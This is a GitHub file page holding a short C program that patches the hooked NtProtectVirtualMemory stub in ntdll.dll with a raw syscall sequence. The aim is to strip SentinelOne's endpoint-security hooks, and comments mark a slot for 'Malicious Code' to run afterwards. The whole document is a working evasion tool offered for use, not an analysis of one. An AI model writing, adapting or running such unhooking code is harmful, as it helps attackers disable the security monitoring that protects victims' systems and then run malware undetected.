-
Notifications
You must be signed in to change notification settings - Fork 111
/
Copy pathunhook_sentinelone_64.c
37 lines (27 loc) · 988 Bytes
/
unhook_sentinelone_64.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
VOID PatchHook(CHAR* address, unsigned char id, char high);
VOID CleanUp() {
HANDLE hDll = LoadLibrary("ntdll.dll");
FARPROC NtProtectVirtualMemory = GetProcAddress(hDll, "NtProtectVirtualMemory");
PatchHook(NtProtectVirtualMemory, 0x50, 0x00); // unhooking first since we are going to need it to unhook APIs
CloseHandle(hDll);
}
VOID PatchHook(CHAR* address, unsigned char id, char high) {
DWORD dwSize = 11;
CHAR* patch_address = address;
//\x4c\x8b\xd1\xb8\xXX\xHH\x00\x00\x0f\x05\xc3
CHAR patch[dwSize];
sprintf(patch, "\x4c\x8b\xd1\xb8%c%c%c%c\x0f\x05\xc3", id, high, high ^ high, high ^ high);
DWORD dwOld;
VirtualProtect(patch_address, dwSize, PAGE_EXECUTE_READWRITE, &dwOld);
memcpy(patch_address, patch, dwSize);
}
int main (int argc, char **argv) {
CleanUp();
// No More Hook From SentinelOne
// Malicious Code
return 0;
}